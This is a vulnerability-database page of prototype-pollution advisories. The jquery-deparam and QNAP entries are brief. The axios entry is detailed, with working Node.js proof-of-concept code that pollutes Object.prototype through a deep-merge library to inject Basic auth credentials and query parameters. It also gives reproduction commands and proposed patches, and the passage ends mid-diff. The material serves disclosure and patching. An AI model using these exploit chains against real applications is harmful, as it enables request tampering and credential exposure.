Common Weakness Enumeration

CWE-1321

Allowed

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Abstraction: Variant · Status: Incomplete

API response cwe.mitre.org

The product receives input from an upstream component that specifies attributes that are to be initialized or updated in an object, but it does not properly control modifications of attributes of the object prototype.

804 vulnerabilities reference this CWE, most recent first.

GHSA-XG68-CHX2-253G

Vulnerability from github – Published: 2021-05-24 19:53 – Updated: 2025-08-14 22:15
VLAI
Summary
Prototype Pollution in jquery-deparam
Details

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in jquery-deparam allows a malicious user to inject properties into Object.prototype.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "jquery-deparam"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-20087"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-05-20T21:58:11Z",
    "nvd_published_at": "2021-04-23T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "Improperly Controlled Modification of Object Prototype Attributes (\u0027Prototype Pollution\u0027) in jquery-deparam allows a malicious user to inject properties into Object.prototype.",
  "id": "GHSA-xg68-chx2-253g",
  "modified": "2025-08-14T22:15:23Z",
  "published": "2021-05-24T19:53:01Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20087"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlackFan/client-side-prototype-pollution/blob/master/pp/jquery-deparam.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RetireJS/retire.js/blob/6da45fcb6a3425e55ee8181b2ac35168879bf086/repository/jsrepository-master.json#L824-L842"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Prototype Pollution in jquery-deparam"
}

GHSA-XH38-HRRG-8CJV

Vulnerability from github – Published: 2024-01-05 18:30 – Updated: 2024-01-05 18:30
VLAI
Details

A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network.

We have already fixed the vulnerability in the following versions: QTS 5.1.3.2578 build 20231110 and later QuTS hero h5.1.3.2578 build 20231110 and later

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
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{
  "affected": [],
  "aliases": [
    "CVE-2023-39296"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-05T17:15:09Z",
    "severity": "HIGH"
  },
  "details": "A prototype pollution vulnerability has been reported to affect several QNAP operating system versions. If exploited, the vulnerability could allow users to override existing attributes with ones that have incompatible type, which may lead to a crash via a network.\n\nWe have already fixed the vulnerability in the following versions:\nQTS 5.1.3.2578 build 20231110 and later\nQuTS hero h5.1.3.2578 build 20231110 and later\n",
  "id": "GHSA-xh38-hrrg-8cjv",
  "modified": "2024-01-05T18:30:25Z",
  "published": "2024-01-05T18:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-39296"
    },
    {
      "type": "WEB",
      "url": "https://www.qnap.com/en/security-advisory/qsa-23-64"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-XJ6Q-8X83-JV6G

Vulnerability from github – Published: 2026-07-20 17:51 – Updated: 2026-07-20 17:51
VLAI
Summary
Axios: Prototype pollution auth subfields can inject Basic auth
Details

Summary

Axios versions after the GHSA-q8qp-cvcw-x6jj fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own auth object that omits username or password, axios reads inherited Object.prototype.username and Object.prototype.password values and uses them to construct an outbound Authorization: Basic ... header.

This does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as auth: opts.auth || {}.

Impact

An attacker who can pollute Object.prototype.username and/or Object.prototype.password can influence the Basic auth header on affected axios requests that pass an empty or partial own auth object.

The practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing Authorization header because axios removes it when auth is used, or cause downstream authorization failures.

This should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.

Affected Functionality

Affected functionality:

  • Node HTTP adapter Basic auth handling in lib/adapters/http.js.
  • Browser, web worker, React Native, and fetch shared resolver Basic auth handling in lib/helpers/resolveConfig.js.
  • Requests where config.auth is an own object but username and/or password are absent own properties.

Unaffected or not accepted as core impact:

  • Requests with no own auth object after mergeConfig().
  • Requests with own auth.username and auth.password values.
  • Normal axios request flow for inherited top-level params / paramsSerializer after the null-prototype mergeConfig() hardening.
  • Attacker-controlled paramsSerializer functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios’ runtime boundary.

Technical Details

mergeConfig() returns a null-prototype top-level config object, which prevents top-level reads such as config.auth from inheriting polluted values. However, nested plain objects returned by utils.merge() still have Object.prototype.

In lib/adapters/http.js, axios correctly reads the top-level auth value through own('auth'), but then reads subfields directly:

const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}

If the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.

The same pattern exists in lib/helpers/resolveConfig.js:

if (auth) {
  headers.set(
    'Authorization',
    'Basic ' +
      btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
  );
}

The fix should guard username and password with utils.hasOwnProp, matching the proxy-auth pattern already used elsewhere.

Proof of Concept of Attack

Safe local PoC against published axios@1.16.1:

const http = require('node:http');
const axios = require('axios');

Object.prototype.username = 'victim-user';
Object.prototype.password = 'victim-password-leaked';

const server = http.createServer((req, res) => {
  console.log({
    url: req.url,
    authorization: req.headers.authorization || null
  });

  res.end('{}');
  server.close(() => {
    delete Object.prototype.username;
    delete Object.prototype.password;
  });
});

server.listen(0, '127.0.0.1', async () => {
  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {
    auth: {}
  });
});

Expected output:

{
  "url": "/api",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}

The base64 value decodes to victim-user:victim-password-leaked.

Workarounds

Avoid passing empty or partial auth objects. Only set auth when the application has own username and password values.

Applications that merge untrusted input should filter __proto__, constructor, and prototype, and should read optional user options with own-property checks rather than opts.auth || {}.

Where a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.

Original Report ### Summary After [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in [PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`. When a polluted host process makes an axios call with the common "optional override" pattern (`auth: opts.auth || {}` — an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic ` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too — i.e. the amplifier is wired into many credential-stuffing chains). Reproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24) as well as the released `v1.16.1`. ### Details **Three still-unguarded read sites** on `main` HEAD: **(1) `lib/adapters/http.js` lines 737–740** (Node http adapter): 
const configAuth = own('auth');         // ← top-level guard OK
if (configAuth) {
    const username = configAuth.username || '';   // ← reads .username on the inherited chain
    const password = configAuth.password || '';   // ← reads .password on the inherited chain
    auth = username + ':' + password;
}
`own('auth')` correctly applies `hasOwnProp` to the top-level `auth` key. But once `configAuth` is the empty object the caller passed (`auth: {}`), `configAuth.username` walks the prototype chain and picks up `Object.prototype.username`. Contrast with the proxy-auth path that PR #10833 fixed (lines 322–324): 
const authUsername =
    authIsObject && utils.hasOwnProp(proxyAuth, 'username') ? proxyAuth.username : undefined;
const authPassword =
    authIsObject && utils.hasOwnProp(proxyAuth, 'password') ? proxyAuth.password : undefined;
This is the exact pattern needed at lines 739–740 too. **(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver): 
const auth = own('auth');               // ← top-level guard OK
...
btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
//   ^ .username and .password read directly on `auth`, no hasOwnProp guard
Same shape — top-level guarded, sub-fields walk prototype. **(3) `lib/helpers/resolveConfig.js` lines 58–59** (params + paramsSerializer): 
newConfig.url = buildURL(
    buildFullPath(baseURL, url, allowAbsoluteUrls),
    config.params,            // ← direct read, not through own()
    config.paramsSerializer   // ← direct read, not through own()
);
This third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR's `own('params')` / `own('paramsSerializer')` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover. ### PoC This PoC contains zero direct `Object.prototype.x = y` writes. The pollution flows entirely from attacker-shaped JSON through a real deep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads, still walks `constructor.prototype`). A hand-rolled deep merge — the canonical insecure backend pattern — exhibits the same pollution via `__proto__` and is more common in real codebases than any named utility. 
#!/usr/bin/env node
'use strict';

const http = require('node:http');
const axios = require('axios');
const defaultsDeep = require('defaults-deep');

// Defensive: scrub any prior pollution
const PROTO_KEYS = ['username', 'password', 'params', 'paramsSerializer'];
function scrub() {
  for (const k of PROTO_KEYS) {
    try { delete Object.prototype[k]; } catch (_) {}
  }
}
scrub();

// 1) Attacker input — what JSON.parse(req.body) would yield from an HTTP POST
const attackerBody = JSON.parse(`{
  "constructor": {
    "prototype": {
      "username": "victim-user",
      "password": "victim-password-leaked",
      "params": {"leak": "ATTACKER_QUERY_TOKEN"}
    }
  }
}`);

// 2) Realistic application pattern: merge user options into defaults
const appDefaults = { timeout: 5000 };
defaultsDeep(appDefaults, attackerBody);
//   After this line:
//     Object.prototype.username  === "victim-user"
//     Object.prototype.password  === "victim-password-leaked"
//     Object.prototype.params    === { leak: "ATTACKER_QUERY_TOKEN" }

// 3) Capture outbound request on a local listener
const server = http.createServer((req, res) => {
  console.log('=== captured outbound request ===');
  console.log(JSON.stringify({
    method: req.method,
    url: req.url,
    authorization: req.headers.authorization || null,
  }, null, 2));
  res.end('{}');
  server.close();
  scrub();
});

server.listen(0, '127.0.0.1', () => {
  const port = server.address().port;

  // 4) Realistic application wrapper: optional per-call overrides.
  //    `auth: opts.auth || {}` is the common pattern — empty own object,
  //    but inherited values walk the prototype chain.
  function makeRequest(targetUrl, opts = {}) {
    return axios.get(targetUrl, {
      timeout: 5000,
      auth: opts.auth || {},
      params: opts.params || {},
    });
  }

  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) => {
    console.error('axios error:', e.message);
    scrub();
    process.exit(1);
  });
});
Reproduction: 
mkdir /tmp/axios-poc && cd /tmp/axios-poc
npm init -y
npm install axios@1.16.1 defaults-deep@0.2.4
node /path/to/poc.cjs
Captured output (verified against released `1.16.1` AND against `main` at `34723be`, 2026-05-24): 
{
  "method": "GET",
  "url": "/api/widget?leak=ATTACKER_QUERY_TOKEN",
  "authorization": "Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA=="
}
`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to `victim-user:victim-password-leaked`. The querystring carries `?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel in real chains (CSRF token, session cookie via `req.headers`, etc.). ### Impact - **Credential exfiltration** via Basic auth header on the outbound request. If the request URL is attacker-influenced too (common in webhook/oauth-callback patterns), the credentials flow directly to the attacker. If not, they flow to the legitimate destination but expose victim credentials in any logs / proxies along the path. - **Outbound request-shape control** via inherited `params` / `paramsSerializer`. With `paramsSerializer` polluted to an attacker function, axios will execute that function with each `params` invocation — same-process code execution from a pollution primitive. - **Amplifier framing** is still correct. The application-side precondition is "deep-merges attacker JSON into a config object without `__proto__`/`constructor` filtering, then uses the empty- fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`." Both halves are very common in real codebases (we tested `defaults-deep`, hand-rolled merges, and several lodash-family utilities; many still pollute). - **CWE-1321** (Improperly Controlled Modification of Object Prototype Attributes — amplifier sink). ### Proposed fix Two-line change in `http.js`, matching the proxy-auth pattern PR #10833 already established: 
--- a/lib/adapters/http.js
+++ b/lib/adapters/http.js
@@ -737,8 +737,10 @@
       const configAuth = own('auth');
       if (configAuth) {
-        const username = configAuth.username || '';
-        const password = configAuth.password || '';
+        const username = utils.hasOwnProp(configAuth, 'username') ? (configAuth.username || '') : '';
+        const password = utils.hasOwnProp(configAuth, 'password') ? (configAuth.password || '') : '';
         auth = username + ':' + password;
       }
Same pattern in `resolveConfig.js`: 
--- a/lib/helpers/resolveConfig.js
+++ b/lib/helpers/resolveConfig.js
@@ -64,7 +64,11 @@
   // HTTP basic authentication
   if (auth) {
+    const authUsername = utils.hasOwnProp(auth, 'username') ? (auth.username || '') : '';
+    const authPassword = utils.hasOwnProp(auth, 'password') ? auth.password : '';
     headers.set(
       'Authorization',
       'Basic ' +
-        btoa((auth.username || '') + ':' + (auth.password ? encodeUTF8(auth.password) : ''))
+        btoa(authUsername + ':' + (authPassword ? encodeUTF8(authPassword) : ''))
     );
   }
The **`params` / `paramsSerializer`** half is already handled by open PR #10922's `own('params')` / `own('paramsSerializer')` change — that PR should be rebased / merged. ### Relationship to recent prototype-pollution work Same vulnerability class as the existing public hardening, just at sub-field granularity: - [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) — `mergeConfig` direct-key reads. **Fixed in v1.15.2.** - [PR #10761](https://github.com/axios/axios/pull/10761) — `mergeDirectKeys` `in` → `hasOwnProp`. **Fixed in v1.15.x.** - [PR #10833](https://github.com/axios/axios/pull/10833) — proxy `auth.username/password` sub-fields. **Fixed post-1.16.1.** - [PR #7413](https://github.com/axios/axios/pull/7413) — `formDataToJSON` defense-in-depth. **Fixed post-1.16.1.** - [PR #10901](https://github.com/axios/axios/pull/10901) — `socketPath` guard. **Merged 2026-05-24.** - [PR #10922 (OPEN)](https://github.com/axios/axios/pull/10922) — `params` / `paramsSerializer` `own()` guard. **Proposed; not merged.** This report adds: regular-request `auth.username` / `auth.password` sub-field reads in both the http adapter (lines 737–740) and resolveConfig.js (line 68). ### Reporter notes - Reported as part of a small peer-review bundle of runtime security findings. The bundle's public tracking entry (without the working exploit chain) is at [`georgian-io/package-runtime-security-findings/advisories/AXIOS-002-prototype-pollution-config-fields.md`](https://github.com/georgian-io/package-runtime-security-findings/blob/main/advisories/AXIOS-002-prototype-pollution-config-fields.md). - I'm happy to submit the patch as a PR if that helps. Or, if you'd prefer to fold this into open PR #10922 (whose author is actively responding to comments), please let me know and I'll coordinate. - Threat model honesty: this is **amplifier framing** — exploitation requires a separate prototype-pollution primitive elsewhere in the host process. That's how the existing GHSA-q8qp-cvcw-x6jj and PR #10833 were framed too, so the precedent for "in-scope as a hardening fix" is established.
Severity
6.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "axios"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.15.2"
            },
            {
              "fixed": "1.18.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-1321"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-20T17:51:17Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nAxios versions after the `GHSA-q8qp-cvcw-x6jj` fix still contain prototype-pollution read-side gadgets in Basic auth subfield handling. If a host application is already affected by prototype pollution and then makes an axios request with an own `auth` object that omits `username` or `password`, axios reads inherited `Object.prototype.username` and `Object.prototype.password` values and uses them to construct an outbound `Authorization: Basic ...` header.\n\nThis does not mean axios itself pollutes prototypes. Exploitation requires a separate prototype-pollution primitive in the host process, plus an axios call pattern such as `auth: opts.auth || {}`.\n\n## Impact\n\nAn attacker who can pollute `Object.prototype.username` and/or `Object.prototype.password` can influence the Basic auth header on affected axios requests that pass an empty or partial own `auth` object.\n\nThe practical impact is outbound request tampering. The attacker can inject attacker-chosen Basic auth credentials, replace an existing `Authorization` header because axios removes it when `auth` is used, or cause downstream authorization failures.\n\nThis should not be described as automatic credential exfiltration. In the minimal reproduced case, the Basic auth values are attacker-controlled values, not secrets read from axios. Credential disclosure requires an additional application-specific condition, such as a request destination observable by the attacker and a partial real auth object with a missing polluted subfield.\n\n## Affected Functionality\n\nAffected functionality:\n\n- Node HTTP adapter Basic auth handling in `lib/adapters/http.js`.\n- Browser, web worker, React Native, and fetch shared resolver Basic auth handling in `lib/helpers/resolveConfig.js`.\n- Requests where `config.auth` is an own object but `username` and/or `password` are absent own properties.\n\nUnaffected or not accepted as core impact:\n\n- Requests with no own `auth` object after `mergeConfig()`.\n- Requests with own `auth.username` and `auth.password` values.\n- Normal axios request flow for inherited top-level `params` / `paramsSerializer` after the null-prototype `mergeConfig()` hardening.\n- Attacker-controlled `paramsSerializer` functions from JSON-only prototype pollution, because JSON pollution cannot create functions. If attacker-controlled code can install functions in the process, that is outside axios\u2019 runtime boundary.\n\n## Technical Details\n\n`mergeConfig()` returns a null-prototype top-level config object, which prevents top-level reads such as `config.auth` from inheriting polluted values. However, nested plain objects returned by `utils.merge()` still have `Object.prototype`.\n\nIn `lib/adapters/http.js`, axios correctly reads the top-level `auth` value through `own(\u0027auth\u0027)`, but then reads subfields directly:\n\n```js\nconst configAuth = own(\u0027auth\u0027);\nif (configAuth) {\n  const username = configAuth.username || \u0027\u0027;\n  const password = configAuth.password || \u0027\u0027;\n  auth = username + \u0027:\u0027 + password;\n}\n```\n\nIf the caller passes auth: {} and Object.prototype.username/password are polluted, those direct subfield reads walk the prototype chain.\n\nThe same pattern exists in `lib/helpers/resolveConfig.js`:\n```js\nif (auth) {\n  headers.set(\n    \u0027Authorization\u0027,\n    \u0027Basic \u0027 +\n      btoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n  );\n}\n```\n\nThe fix should guard `username` and `password` with `utils.hasOwnProp`, matching the proxy-auth pattern already used elsewhere.\n\n## Proof of Concept of Attack\n\nSafe local PoC against published `axios@1.16.1`:\n\n```js\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\n\nObject.prototype.username = \u0027victim-user\u0027;\nObject.prototype.password = \u0027victim-password-leaked\u0027;\n\nconst server = http.createServer((req, res) =\u003e {\n  console.log({\n    url: req.url,\n    authorization: req.headers.authorization || null\n  });\n\n  res.end(\u0027{}\u0027);\n  server.close(() =\u003e {\n    delete Object.prototype.username;\n    delete Object.prototype.password;\n  });\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, async () =\u003e {\n  await axios.get(`http://127.0.0.1:${server.address().port}/api`, {\n    auth: {}\n  });\n});\n```\n\nExpected output:\n\n```json\n{\n  \"url\": \"/api\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\nThe base64 value decodes to `victim-user:victim-password-leaked`.\n\n## Workarounds\nAvoid passing empty or partial `auth` objects. Only set `auth` when the application has own username and password values.\n\nApplications that merge untrusted input should filter `__proto__`, `constructor`, and `prototype`, and should read optional user options with own-property checks rather than `opts.auth || {}`.\n\nWhere a wrapper must materialize optional auth, use a null-prototype object or explicitly copy only own fields.\n\n\u003cdetails\u003e\n\u003csummary\u003eOriginal Report\u003c/summary\u003e\n\n### Summary\n\nAfter [GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj) / [PR #10779](https://github.com/axios/axios/pull/10779) (shipped in `v1.15.2`) and the further proxy-side hardening in\n[PR #10833](https://github.com/axios/axios/pull/10833) (merged 2026-05-02), the **top-level** `config.auth` and the **proxy auth**sub-fields are correctly read via `utils.hasOwnProp`. The **regular request auth sub-fields** (`config.auth.username` and `config.auth.password`) and the **`config.params` / `config.paramsSerializer`** reads inside `resolveConfig.js` are still unguarded against a polluted `Object.prototype`.\n\nWhen a polluted host process makes an axios call with the common \"optional override\" pattern (`auth: opts.auth || {}` \u2014 an empty own `{}`), the sub-field reads `configAuth.username` and `configAuth.password` walk the prototype chain and return the attacker-controlled values. Same for `params` and `paramsSerializer`. The outbound HTTP request then carries an attacker-chosen `Authorization: Basic \u003cbase64\u003e` header and an attacker-chosen querystring, leaking credentials and exfiltrating data to whichever host the request goes to (often attacker-influenced too \u2014 i.e. the amplifier is wired into many credential-stuffing chains).\n\nReproduces against `axios` `main` HEAD (`34723be`, dated 2026-05-24)\nas well as the released `v1.16.1`.\n\n### Details\n\n**Three still-unguarded read sites** on `main` HEAD:\n\n**(1) `lib/adapters/http.js` lines 737\u2013740** (Node http adapter):\n\n```js\nconst configAuth = own(\u0027auth\u0027);         // \u2190 top-level guard OK\nif (configAuth) {\n    const username = configAuth.username || \u0027\u0027;   // \u2190 reads .username on the inherited chain\n    const password = configAuth.password || \u0027\u0027;   // \u2190 reads .password on the inherited chain\n    auth = username + \u0027:\u0027 + password;\n}\n```\n\n`own(\u0027auth\u0027)` correctly applies `hasOwnProp` to the top-level `auth`\nkey. But once `configAuth` is the empty object the caller passed\n(`auth: {}`), `configAuth.username` walks the prototype chain and\npicks up `Object.prototype.username`.\n\nContrast with the proxy-auth path that PR #10833 fixed (lines 322\u2013324):\n\n```js\nconst authUsername =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027username\u0027) ? proxyAuth.username : undefined;\nconst authPassword =\n    authIsObject \u0026\u0026 utils.hasOwnProp(proxyAuth, \u0027password\u0027) ? proxyAuth.password : undefined;\n```\n\nThis is the exact pattern needed at lines 739\u2013740 too.\n\n**(2) `lib/helpers/resolveConfig.js` lines 50 + 68** (xhr/fetch adapter shared resolver):\n\n```js\nconst auth = own(\u0027auth\u0027);               // \u2190 top-level guard OK\n...\nbtoa((auth.username || \u0027\u0027) + \u0027:\u0027 + (auth.password ? encodeUTF8(auth.password) : \u0027\u0027))\n//   ^ .username and .password read directly on `auth`, no hasOwnProp guard\n```\n\nSame shape \u2014 top-level guarded, sub-fields walk prototype.\n\n**(3) `lib/helpers/resolveConfig.js` lines 58\u201359** (params + paramsSerializer):\n\n```js\nnewConfig.url = buildURL(\n    buildFullPath(baseURL, url, allowAbsoluteUrls),\n    config.params,            // \u2190 direct read, not through own()\n    config.paramsSerializer   // \u2190 direct read, not through own()\n);\n```\n\nThis third site is already proposed for fix in **open** [PR #10922](https://github.com/axios/axios/pull/10922) by @Mohammad-Faiz-Cloud-Engineer (status: open, currently mergeable: false). That PR\u0027s `own(\u0027params\u0027)` / `own(\u0027paramsSerializer\u0027)` change is exactly correct; this report flags the auth sub-field sites that PR #10922 does **not** cover.\n\n### PoC\n\nThis PoC contains zero direct `Object.prototype.x = y` writes. The\npollution flows entirely from attacker-shaped JSON through a real\ndeep-merge utility (`defaults-deep@0.2.4`, ~50k weekly downloads,\nstill walks `constructor.prototype`). A hand-rolled deep merge \u2014\nthe canonical insecure backend pattern \u2014 exhibits the same pollution\nvia `__proto__` and is more common in real codebases than any named\nutility.\n\n```js\n#!/usr/bin/env node\n\u0027use strict\u0027;\n\nconst http = require(\u0027node:http\u0027);\nconst axios = require(\u0027axios\u0027);\nconst defaultsDeep = require(\u0027defaults-deep\u0027);\n\n// Defensive: scrub any prior pollution\nconst PROTO_KEYS = [\u0027username\u0027, \u0027password\u0027, \u0027params\u0027, \u0027paramsSerializer\u0027];\nfunction scrub() {\n  for (const k of PROTO_KEYS) {\n    try { delete Object.prototype[k]; } catch (_) {}\n  }\n}\nscrub();\n\n// 1) Attacker input \u2014 what JSON.parse(req.body) would yield from an HTTP POST\nconst attackerBody = JSON.parse(`{\n  \"constructor\": {\n    \"prototype\": {\n      \"username\": \"victim-user\",\n      \"password\": \"victim-password-leaked\",\n      \"params\": {\"leak\": \"ATTACKER_QUERY_TOKEN\"}\n    }\n  }\n}`);\n\n// 2) Realistic application pattern: merge user options into defaults\nconst appDefaults = { timeout: 5000 };\ndefaultsDeep(appDefaults, attackerBody);\n//   After this line:\n//     Object.prototype.username  === \"victim-user\"\n//     Object.prototype.password  === \"victim-password-leaked\"\n//     Object.prototype.params    === { leak: \"ATTACKER_QUERY_TOKEN\" }\n\n// 3) Capture outbound request on a local listener\nconst server = http.createServer((req, res) =\u003e {\n  console.log(\u0027=== captured outbound request ===\u0027);\n  console.log(JSON.stringify({\n    method: req.method,\n    url: req.url,\n    authorization: req.headers.authorization || null,\n  }, null, 2));\n  res.end(\u0027{}\u0027);\n  server.close();\n  scrub();\n});\n\nserver.listen(0, \u0027127.0.0.1\u0027, () =\u003e {\n  const port = server.address().port;\n\n  // 4) Realistic application wrapper: optional per-call overrides.\n  //    `auth: opts.auth || {}` is the common pattern \u2014 empty own object,\n  //    but inherited values walk the prototype chain.\n  function makeRequest(targetUrl, opts = {}) {\n    return axios.get(targetUrl, {\n      timeout: 5000,\n      auth: opts.auth || {},\n      params: opts.params || {},\n    });\n  }\n\n  makeRequest(`http://127.0.0.1:${port}/api/widget`).catch((e) =\u003e {\n    console.error(\u0027axios error:\u0027, e.message);\n    scrub();\n    process.exit(1);\n  });\n});\n```\n\nReproduction:\n\n```bash\nmkdir /tmp/axios-poc \u0026\u0026 cd /tmp/axios-poc\nnpm init -y\nnpm install axios@1.16.1 defaults-deep@0.2.4\nnode /path/to/poc.cjs\n```\n\nCaptured output (verified against released `1.16.1` AND against\n`main` at `34723be`, 2026-05-24):\n\n```json\n{\n  \"method\": \"GET\",\n  \"url\": \"/api/widget?leak=ATTACKER_QUERY_TOKEN\",\n  \"authorization\": \"Basic dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==\"\n}\n```\n\n`dmljdGltLXVzZXI6dmljdGltLXBhc3N3b3JkLWxlYWtlZA==` base64-decodes to\n`victim-user:victim-password-leaked`. The querystring carries\n`?leak=ATTACKER_QUERY_TOKEN`, which can be a full data-exfil channel\nin real chains (CSRF token, session cookie via `req.headers`, etc.).\n\n### Impact\n\n- **Credential exfiltration** via Basic auth header on the outbound\n  request. If the request URL is attacker-influenced too (common in\n  webhook/oauth-callback patterns), the credentials flow directly to\n  the attacker. If not, they flow to the legitimate destination but\n  expose victim credentials in any logs / proxies along the path.\n- **Outbound request-shape control** via inherited `params` /\n  `paramsSerializer`. With `paramsSerializer` polluted to an attacker\n  function, axios will execute that function with each `params`\n  invocation \u2014 same-process code execution from a pollution primitive.\n- **Amplifier framing** is still correct. The application-side\n  precondition is \"deep-merges attacker JSON into a config object\n  without `__proto__`/`constructor` filtering, then uses the empty-\n  fallback wrapper `auth: opts.auth || {}` / `params: opts.params || {}`.\"\n  Both halves are very common in real codebases (we tested\n  `defaults-deep`, hand-rolled merges, and several lodash-family\n  utilities; many still pollute).\n- **CWE-1321** (Improperly Controlled Modification of Object Prototype\n  Attributes \u2014 amplifier sink).\n\n### Proposed fix\n\nTwo-line change in `http.js`, matching the proxy-auth pattern PR\n#10833 already established:\n\n```diff\n--- a/lib/adapters/http.js\n+++ b/lib/adapters/http.js\n@@ -737,8 +737,10 @@\n       const configAuth = own(\u0027auth\u0027);\n       if (configAuth) {\n-        const username = configAuth.username || \u0027\u0027;\n-        const password = configAuth.password || \u0027\u0027;\n+        const username = utils.hasOwnProp(configAuth, \u0027username\u0027) ? (configAuth.username || \u0027\u0027) : \u0027\u0027;\n+        const password = utils.hasOwnProp(configAuth, \u0027password\u0027) ? (configAuth.password || \u0027\u0027) : \u0027\u0027;\n         auth = username + \u0027:\u0027 + password;\n       }\n```\n\nSame pattern in `resolveConfig.js`:\n\n```diff\n--- a/lib/helpers/resolveConfig.js\n+++ b/lib/helpers/resolveConfig.js\n@@ -64,7 +64,11 @@\n   // HTTP basic authentication\n   if (auth) {\n+    const authUsername = utils.hasOwnProp(auth, \u0027username\u0027) ? (auth.username || \u0027\u0027) : \u0027\u0027;\n+    const authPassword = utils.hasOwnProp(auth, \u0027password\u0027) ? auth.password : \u0027\u0027;\n     headers.set(\n       \u0027Authorization\u0027,\n       \u0027Basic \u0027 +\n-        btoa((auth.username || 